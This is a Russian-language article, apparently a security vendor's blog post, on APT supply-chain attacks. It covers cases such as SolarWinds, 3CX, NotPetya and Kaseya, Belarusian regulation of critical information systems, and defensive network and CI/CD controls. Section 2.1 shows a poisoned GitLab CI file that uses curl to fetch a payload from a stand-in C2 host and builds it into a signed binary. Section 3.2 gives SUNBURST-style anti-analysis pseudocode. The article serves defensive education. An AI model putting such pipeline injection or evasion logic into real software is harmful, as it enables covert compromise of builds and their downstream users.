

APT-угрозы и атаки на цепочки поставок: Почему средний бизнес стал главным трамплином для взлома КВОИ

 redsec.by/article/apt-ugrozy-i-ataki-na-cepochki-postavok-pochemu-srednij-biznes-stal-glavnym-tramplinom-dlya-vzloma-kvoi

Red Teams | 4 мая 2026



Основной тезис современной практической кибербезопасности, многократно подтвержденный технической аналитикой инцидентов 2024–2026 годов: APT-группировки давно сместили фокус с фронтальных атак на защищенные периметры корпораций в сторону планомерных атак на цепочки поставок (supply chain). Интеграторы, подрядчики, провайдеры управляемых услуг (MSP) и разработчики отраслевого ПО стали идеальным «трамплином» для доступа к конечным целям — банкам, госсектору, предприятиям ТЭК и телекому.

Для белорусского IT-сектора и среднего бизнеса, интегрированного в экосистему Критически Важных Объектов Информатизации (КВОИ), это означает смену парадигмы угроз. Вы — лестница, а не сейф. Именно этот вектор диктует текущую логику Оперативно-аналитического центра (ОАЦ), который планомерно расширяет требования к архитектуре безопасности, аттестации и процессам мониторинга на транзитивные звенья.

1. Эволюция АРТ в 2026 году: От государственного шпионажа к гибридным операциям

Термин *Advanced Persistent Threat (APT)* в текущих реалиях описывает не узконаправленные спецслужбы с неограниченными бюджетами, а масштабную децентрализованную экосистему. Государственные и аффилированные хакерские синдикаты комбинируют сложный инструментарий для кибершпионажа, создания плацдармов для саботажа и параллельной криминальной монетизации (вымогательство, криптоджекинг).

1.1. Двойной характер операций: симбиоз шпионажа и киберпреступности

Индикативным примером эволюции является китайская группировка **APT41** (также известная как Winnti, Barium). Анализ их кампаний (отчеты Google Cloud, Unit 42) демонстрирует классическую модель «двойного назначения». С одной стороны, APT41 действует в интересах стратегической разведки, похищая интеллектуальную собственность (IP) у компаний высокотехнологичного сектора, здравоохранения и телекома. С другой стороны, те же операторы используют инфраструктуру управления (C2) для внедрения программ-вымогателей и манипуляций с криптовалютами в игровом секторе для личного обогащения.

Важно: Смена тактики (LotL и двойное вымогательство)

Государственные акторы массово интегрировали тактики криминального синдиката (RaaS). Вместо кастомных троянов (которые легко детектируются современными EDR), они используют техники *Living off the Land (LotL)* — использование легитимных системных утилит (PowerShell, WMI, BITSAdmin) и компрометацию учетных записей (identity-based attacks). «Логин вместо взлома» стал стандартом.

Официальные национальные оценки угроз (в частности, аналитика Канадского центра кибербезопасности на 2025–2026 годы) констатируют, что программы АРТ ряда стран (КНДР, Иран, Россия, Китай) целенаправленно нацелены на:

- **Кражу интеллектуальной собственности (IP)** — доступ к НИОКР, клиническим данным фармакологии, чертежам аэрокосмической отрасли.
- **Саботаж и предварительное размещение (Pre-positioning)** — скрытое закрепление в сетях операторов связи, энергетических узлов и транспортной инфраструктуры. Главная цель — формирование спящих ботнетов, которые в случае геополитического конфликта по команде перейдут от шпионажа к разрушительным действиям (Wiper-атакам).
- **Финансовую экспансию** — киберподразделения КНДР (Lazarus Group / APT38) официально используют таргетированное вымогательство и атаки на DeFi-протоколы как инструмент обхода санкций и финансирования государства.

2. Архитектура атак на цепочку поставок (Compromise Software Supply Chain)

В методологии **MITRE ATT&CK** данный класс атак описывается техникой T1195.002: Compromise Software Supply Chain. Вектор заключается во внедрении вредоносного кода или бэкдоров в процесс разработки, сборки (CI/CD), релиза или обновления программного обеспечения. Жертвой компрометации становится вендор или MSP-провайдер, после чего модифицированный, но **легитимно подписанный цифровым сертификатом** код автоматически распространяется по тысячам клиентов.

Риски: Статистика компрометаций

В 2021 году Gartner прогнозировал, что к 2025 году 45% организаций в мире испытают на себе атаки через цепочку поставок. Прогноз оказался недооцененным: по данным исследований 2024 года, **75% организаций** уже пережили как минимум один такой инцидент. Сегодня около 30% всех подтвержденных утечек данных инициируется через уязвимости инфраструктуры третьей стороны, а средняя стоимость ликвидации последствий (Damage Cost) третьестороннего инцидента достигла \$4,9 млн.

2.1. Механика CI/CD Pipeline Poisoning

Злоумышленники ищут слабые места в процессах DevOps. Отсутствие сегментации между сетями разработчиков и production-сборщиками позволяет скомпрометировать pipeline. Ниже приведен концептуальный пример того, как атакующий, получив доступ к репозиторию, может изменить файл `.gitlab-ci.yml`, чтобы незаметно загрузить вредоносную нагрузку на этапе сборки перед подписанием бинарного файла.

Пример эксплуатации: Незаметное внедрение бэкдора на этапе сборки (CI/CD Poisoning stages:

- build
- sign
- deploy

build_app:

stage: build

script:

- echo "Building legitimate application..."
- make all
- # --- ВНЕДРЕННЫЙ АТАКУЮЩИМ КОД (Obfuscated/Hidden) ---
- curl -s http://c2-infrastructure.apт/payload.obj -o ./src/obj/hidden_telemetry
- gcc -shared -o release/app.exe ./src/obj/*.obj
- # -----

artifacts:

paths:

- release/

```
sign_app:
  stage: sign
  script:
    - echo "Signing the compromised application with a valid corporate certificate.."
    # Вредонос получает легитимную цифровую подпись, что обходит базовые проверки AV
    - signtool sign /f corp_cert.pfx /p $CERT_PASS release/app.exe
```

Ошибка: Слепое доверие цифровым подписям

Большинство классических антивирусных систем и средств контроля целостности доверяют файлам, подписанным валидным сертификатом вендора. Supply-chain атаки обходят этот барьер на этапе T1553.002: Install Root Certificate / Code Signing.

3. Анатомия резонансных инцидентов: Векторы компрометации "трамплинов"

Чтобы понять, почему регуляторы переключили внимание на подрядчиков, необходимо разобрать техническую анатомию исторических прецедентов. Во всех нижеописанных случаях исходной жертвой становилось не министерство обороны или Нацбанк, а обычная коммерческая компания — разработчик, аутсорсер или поставщик бухгалтерского сервиса.

3.1. APT10 и MSP Theft Campaign: Глобальный мультиплексор

Группировка APT10 (Китай) провела многолетнюю кампанию, сфокусированную не на конечных жертвах, а на **провайдерах управляемых сервисов (MSP)**. MSP предоставляют услуги удаленного администрирования IT-инфраструктуры для сотен клиентов, имея для этого высокопривилегированный (Domain Admin / root) VPN- или RDP-доступ в их сети.

Механика: APT10 компрометировала сеть MSP, получала доступ к инфраструктуре управления (Jump-серверам, системам управления паролями, RMM-агентам) и использовала легитимные каналы администрирования для "проброса" в сети банков, телекома, производителей электроники и даже центров NASA. Интегратор среднего звена стал массовым мультиплексором, обеспечившим утечку сотен терабайт интеллектуальной собственности.

3.2. SolarWinds Orion (SUNBURST): Компрометация ядра мониторинга

Инцидент с SolarWinds является каноническим примером атаки на систему мониторинга (ITSM/NMS). APT29 (CBP РФ) смогла внедрить вредоносный бэкдор SUNBURST в обновление продукта Orion.

- **Контекст:** SolarWinds Orion собирает телеметрию по SNMP, WMI, Syslog и требует административных привилегий на сетевом оборудовании и серверах для корректного мониторинга.
- **Исполнение:** Атакующие модифицировали исходный код библиотеки SolarWinds.Orion.Core.BusinessLayer.dll на этапе сборки.
- **Маскировка:** Троян бездействовал от 12 до 14 дней после установки обновления (Anti-Analysis). C2-трафик мимикрировал под легитимный протокол Orion Improvement Program (OIP).

```
# Псевдокод логики обхода обнаружения (Anti-VM/Anti-EDR) в SUNBURST
# Бэкдор проверял запущенные процессы и драйверы перед активацией
$blocklist = @("wireshark", "procmon", "tcpview", "sysmon")
$running_processes = Get-Process
foreach ($proc in $running_processes) {
    if ($blocklist -contains $proc.Name) {
        # Если обнаружен анализатор - заснуть навсегда
        [System.Threading.Thread]::Sleep([System.Threading.Timeout]::Infinite)
    }
}
# Инициализация DGA (Domain Generation Algorithm) для связи с C2
```

3.3. X_TRADER → 3CX: Многоуровневая (nested) цепочка поставок

Сложнейший кейс 2023 года, продемонстрировавший концепцию *цепочки из нескольких поставщиков*.

1. Группировка скомпрометировала устаревшую торговую платформу **X_TRADER** (вендор Trading Technologies), внедрив бэкдор VEILED SIGNAL в установщик.
2. Сотрудник компании **3CX** (крупнейший вендор VoIP/UC-решений) скачал и установил скомпрометированный X_TRADER на личный ПК, который имел доступ к корпоративной сети.
3. Через похищенные токены сессий атакующие проникли в среду сборки 3CX (Windows и macOS).
4. Атакующие внедрили вредоносный код в библиотеку d3dcompiler_47.dll (легитимная библиотека Windows) и настроили DLL Sideloadng.
5. Легитимно подписанный клиент 3CX с бэкдором был разослан 600,000+ компаний по всему миру.

3CX была идеальным транзитным узлом — её софт работает у миллионов пользователей, требуя широких сетевых прав и доступа к микрофону/аудио, что делает C2-трафик через VoIP-порты менее подозрительным для IDS/IPS систем.

3.4. M.E.Doc и NotPetya: Бухгалтерия как вектор национального поражения

Атака NotPetya наглядно показала, как supply-chain может быть использован для массового саботажа. Вектором доставки стало бухгалтерское ПО **M.E.Doc**, которое использовалось почти 80-90% украинских компаний для подачи налоговой отчетности.

Скомпрометировав сервер обновлений вендора, злоумышленники (Sandworm) доставили вредоносную нагрузку. В отличие от классических шифровальщиков (ransomware), NotPetya был *Wiper'ом* — он необратимо перезаписывал Master Boot Record (MBR) и шифровал файловую систему (MFT) с использованием алгоритма Salsa20 без сохранения ключа восстановления. Вымогательство было лишь дымовой завесой для деструктивной атаки.

3.5. Kaseya VSA и REvil: Каскадное вымогательство

Криминальный синдикат REvil использовал уязвимость нулевого дня в продукте **Kaseya VSA** (платформа удаленного мониторинга и управления для MSP). Вместо того чтобы взламывать клиентов по одному, REvil скомпрометировал около 60 MSP-провайдеров. Используя функционал развертывания патчей (Patch Management) самой Kaseya VSA, REvil одновременно установил шифровальщик на 800–1500 серверов и рабочих станций конечных клиентов. Суммарный требуемый выкуп превышал \$70 млн.

Практика: Почему средний бизнес в РБ интересен АРТ Кейсы Kaseya и CCleaner доказывают: "Мы не Пентагон" — это когнитивное искажение. Хакеру не нужны ваши коммерческие тайны, если вы — небольшая софтверная фирма из 50 человек. Ему нужен ваш VPN-туннель до серверов банка, ваша скомпрометированная учетная запись в инфраструктуре министерства или ваш модуль интеграции, который имеет права на выполнение кода (RCE) на серверах ТЭК.

4. Нормативное регулирование в Республике Беларусь: Почему ОАЦ дотошен к подрядчикам

Анализируя глобальные тренды компрометации цепочек поставок (supply chain attacks), Оперативно-аналитический центр при Президенте Республики Беларусь (ОАЦ) логично и последовательно ужесточает требования к архитектуре информационной безопасности. Эволюция белорусского законодательства прямо отражает понимание того, что защищать необходимо не только «ядро» критической инфраструктуры, но и весь транзитный периметр (подрядчиков, разработчиков, центры кибербезопасности).

4.1. Формирование концепции КВОИ и первые этапы регулирования

Архитектура государственного контроля за кибербезопасностью начала выстраиваться задолго до массовых инцидентов вроде SolarWinds:

- **Указ № 486 (25.10.2011)** ввел базовое понятие *Критически важных объектов информатизации (КВОИ)* — информационных систем, нарушение работы которых влечет значительные негативные последствия для национальной безопасности в различных сферах. Указ инициировал создание Государственного реестра КВОИ под контролем ОАЦ.
- **Указ № 196 (16.04.2013)** утвердил Положение о порядке отнесения объектов к КВОИ, жестко зафиксировав критерии социальной, экономической, экологической и информационной значимости.
- **Постановление Совмина № 293 (30.03.2012)** дополнительно регламентировало отраслевые методики и порядок защиты КВОИ по ведомственному принципу.

4.2. Указ № 449 и Приказ № 66: Переход к жесткой стандартизации СИБ

Ответ на усложнение АРТ-угроз был формализован в **Указе Президента № 449 от 09.12.2019** «О совершенствовании государственного регулирования в области защиты информации». Этот документ кардинально расширил подход к киберустойчивости. Для владельцев КВОИ была введена обязанность в течение шести месяцев после внесения в реестр спроектировать, внедрить и аттестовать Систему информационной безопасности (СИБ). Более того, даже для систем, не являющихся КВОИ, были установлены требования по сбору логов, хранению событий безопасности и предоставлению данных об инцидентах ИБ.

Техническая реализация этих норм закреплена в **Приказе ОАЦ № 66 (20.02.2020)**. Документ утверждает:

- Положение о порядке технической и криптографической защиты информации на КВОИ.
- Порядок сертификации (аттестации) СИБ информационных систем ограниченного доступа.
- Обязательное приведение существующих систем защиты в соответствие с новыми стандартами.

Важно: Практика аудита и транзитивные требования Требования Приказа № 66 напрямую затрагивают подрядчиков. Например, в публичной документации по закупке аудита СИБ КВОИ для ОАО «АСБ Беларусбанк» от исполнителя (аудитора/интегратора) прямо требуется не только оценивать соответствие инфраструктуры банка законодательству, но и подтверждать собственную компетенцию и защищенность, так как подрядчик получает доступ к чувствительной топологии сети банка.

4.3. Указ № 40 и Национальная система кибербезопасности

Указ № 40 от 14.02.2023 «О кибербезопасности» ознаменовал создание единой экосистемы мониторинга и реагирования на инциденты информационной безопасности. В контур вошли ОАЦ, Национальный центр кибербезопасности и отраслевые центры (SOC).

Сертификация таких центров (регламентированная **Приказом ОАЦ № 130 от 25.07.2023**) — это фильтр доверия. Например, прохождение сертификации Центром кибербезопасности А1 дало провайдеру право оказывать услуги мониторинга госорганам. Это означает, что ОАЦ аттестует не только конечный объект, но и внешнего сервис-провайдера (MSP/MSSP), поскольку компрометация SOC провайдера даст атакующим прямой доступ (Compromise Software Supply Chain / T1195) к десяткам защищаемых КВОИ.

5. Тихая подготовка (Pre-positioning): Что это значит для «незначительных» узлов

Современные отчеты по Threat Intelligence (например, аналитика от Dragos) фиксируют пугающий тренд: АPT-акторы осуществляют *предварительное размещение (pre-positioning)*. Это означает, что злоумышленники взламывают телеком-провайдеров, интеграторов и разработчиков софта не для немедленной кражи данных, а для закладки "спящих" имплантов (бэкдоров). Инфраструктура подрядчика используется как «тихий шлюз» для латерального движения в сети КВОИ.

Ошибка: Игнорирование Dwell Time Многие белорусские подрядчики считают: "Если у нас ничего не украли и не зашифровали, значит, мы не взломаны". Это фатальная ошибка. В случае с SolarWinds скрытое присутствие атакующих (Dwell Time) составляло более 12 месяцев. Ваш VPN-шлюз или сервер обновлений может быть давно скомпрометирован и тихо маршрутизировать трафик хакеров в сеть банка.

Если вы разрабатываете биллинг, обслуживаете SCADA-системы энергообъектов или администрируете серверы госорганов, вы находитесь в Scope (области видимости) АPT. Регулятор (ОАЦ) объективно вынужден требовать от вас наличия СИБ, жесткого журналирования событий и сегментации, так как ваша небрежность может стать причиной киберсаботажа национального масштаба.

6. Практические рекомендации: Архитектура защиты подрядчика КВОИ

Чтобы исключить сценарий, при котором ваша компания становится вектором атаки на цепочки поставок, необходимо реализовать технический "минимум гигиены",

соответствующий духу Приказа ОАЦ № 66 и современным стандартам безопасности (Zero Trust).

6.1. Жесткая сегментация и контроль привилегированного доступа (PAM/Jump Hosts)

Сеть разработчиков (или инженеров техподдержки) **никогда** не должна иметь прямого маршрутизируемого доступа к сетям клиентов (КВОИ). Доступ должен осуществляться исключительно через изолированные Jump-серверы с многофакторной аутентификацией (MFA) и записью сессий (Session Recording).

```
# Пример настройки nftables (Linux Jump Host) для жесткого ограничения доступа
# Разрешаем исходящие SSH/RDP только к конкретным IP-адресам КВОИ
# Все остальные исходящие соединения блокируются для предотвращения C2-коммуникаций
```

```
table inet filter {
    chain forward {
        type filter hook forward priority 0; policy drop;

        # Разрешаем установленные соединения
        ct state established,related accept

        # Разрешаем доступ администраторов (10.0.10.0/24) к Jump-серверу по SSH
        iifname "eth0" saddr 10.0.10.0/24 tcp dport 22 accept

        # Разрешаем проброс к сетям клиентов (КВОИ) строго по нужным портам
        iifname "eth1" ip daddr { 192.168.100.15, 192.168.100.16 } tcp dport { 22, 3389 } accept

        # Логирование заблокированных попыток соединений (обнаружение латерального движения)
        log prefix "Drop Forward: " level info drop
    }
}
```

6.2. Защита конвейеров сборки (CI/CD Security)

Опыт 3CX и SolarWinds требует внедрения концепции *Shift-Left Security*.

Инфраструктура сборки (GitLab Runners, Jenkins) должна быть изолирована от интернета (No Egress Traffic). Бинарные файлы должны не только подписываться, но и проходить проверку на консистентность (Reproducible Builds) и сканироваться SAST/SCA анализаторами до момента релиза.

```
# Пример Kubernetes NetworkPolicy для изоляции GitLab Runner
# Блокирует любые исходящие подключения в интернет во время компиляции кода,
# предотвращая скачивание вредоносных модулей (как в T1195.002)
```

```
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: isolate-cicd-runner
```

```
namespace: cicd-build
spec:
  podSelector:
    matchLabels:
      app: gitlab-runner
  policyTypes:
    - Ingress
    - Egress
  ingress:
    - from:
        - namespaceSelector:
            matchLabels:
              name: gitlab-core
      ports:
        - protocol: TCP
          port: 8080
  egress:
    - to:
        - ipBlock:
            cidr: 10.0.0.0/8 # Разрешаем доступ только к внутренним репозиториям (Nexus/
      ports:
        - protocol: TCP
          port: 443
```

6.3. Готовность к аттестации (СИБ и Журналирование)

Рекомендации (Чек-лист подрядчика):

1. **Инвентаризация точек соприкосновения:** Задокументируйте все каналы доступа к инфраструктуре клиентов (Site-to-Site VPN, RDP, API-шлюзы, EDI-коннекторы). Каждый неиспользуемый канал должен быть деактивирован.
2. **Централизованное логирование (SIEM):** Настройте сбор логов с контроллеров домена, серверов сборки, VPN-шлюзов и EDR-систем с глубиной хранения не менее 6 месяцев (требование законодательства).
3. **План реагирования (IRP):** Разработайте регламент изоляции вашего периметра от сети КВОИ в случае подозрения на компрометацию вашей собственной инфраструктуры.

7. Вывод

Атаки на цепочки поставок перестали быть экзотикой или уделом исключительно межгосударственного противостояния. Для современных АРТ-группировок (с их гибридной мотивацией от шпионажа до масштабного вымогательства) белорусский средний ИТ-бизнес, интеграторы и сервис-провайдеры представляют собой идеальный вектор скрытого проникновения в закрытые контуры государственных и финансовых систем (КВОИ).

Действия ОАЦ по расширению нормативного контроля, сертификации SOC-центров и аудиту транзитных узлов — это математически выверенный ответ на технику T1195.002. В реалиях 2026 года безопасность подрядчика не может ограничиваться формальным наличием антивируса. Требуется внедрение процессов безопасной разработки, жесткой сетевой сегментации и глубокого мониторинга, иначе именно ваша инфраструктура станет тем самым "троянским конем", который обрушит защиту ваших крупнейших заказчиков.

8. Часто задаваемые вопросы (FAQ)

1. Что такое КВОИ в контексте кибербезопасности Республики Беларусь?

КВОИ (Критически важные объекты информатизации) — это информационные системы, повреждение или простой которых может нанести серьезный ущерб национальной безопасности, экономике, экологии или социальной сфере РБ. Их перечень и критерии регулируются Указами Президента № 486 и № 196, а надзор осуществляет ОАЦ.

2. Наша компания — небольшая веб-студия из 30 человек. Можем ли мы стать целью АРТ?

Да, если среди ваших клиентов есть банки, предприятия ТЭК или госорганы. АРТ-группировки (такие как АРТ10 или АРТ41) не интересуются вашими внутренними бизнес-процессами. Вы нужны им как слабое звено (трамплин) с доверенным VPN/API-доступом в сеть целевой корпорации.

3. Как выявить supply chain attack на ранней стадии компрометации (до релиза кода)?

Необходим непрерывный аудит CI/CD-конвейера (Shift-Left Security). Внедрите строгий контроль целостности исходников, используйте технологии SCA (Software Composition Analysis) для поиска закладок в open-source зависимостях, а также изолируйте сборочные серверы на сетевом уровне, чтобы предотвратить загрузку стороннего кода в момент компиляции.

4. Что требует Приказ ОАЦ № 66 от ИТ-поставщиков?

Формально Приказ № 66 регулирует защиту самих КВОИ. Однако владельцы КВОИ обязаны обеспечить безопасность всего периметра. Поэтому при тендерах и аудитах требования по наличию аттестованной Системы информационной безопасности (СИБ), ведению журналов событий ИБ и использованию сертифицированных

криптографических средств транслируются (каскадируются) на ИТ-поставщиков и интеграторов.

5. Зачем АPT-акторам использовать криминальные методы вроде вымогательства (Ransomware)?

Смещение фокуса (отраженное в отчетах о двойном характере угроз) происходит по двум причинам: во-первых, для прямого финансирования государственных программ (как в случае с КНДР); во-вторых, в качестве «дымовой завесы». Запуск шифровальщика на финальной стадии атаки позволяет скрыть следы хищения стратегически важных данных (шпионажа) или замаскировать киберсаботаж (Wiper-атаки, как в случае с NotPetya).

6. Применима ли модель Zero Trust (Нулевого доверия) к подрядчикам?

Это единственный рабочий подход. Владельцы КВОИ обязаны рассматривать любую сеть подрядчика как потенциально скомпрометированную. Доступ (VPN, RDP, API) должен предоставляться по принципу наименьших привилегий (Just-In-Time, Just-Enough-Access), контролироваться через PAM-системы с MFA и изолироваться от критических сегментов сети (SCADA, АБС).

7. Что означает термин "Pre-positioning" (предварительное размещение)?

Это тактика, при которой хакеры проникают в инфраструктуру жертвы (часто в сетевое оборудование, маршрутизаторы или системы управления подрядчиков) и переходят в "спящий" режим без деструктивных действий. Цель — создать скрытый плацдарм для масштабного саботажа или шпионажа в нужный момент времени (например, при эскалации политического конфликта).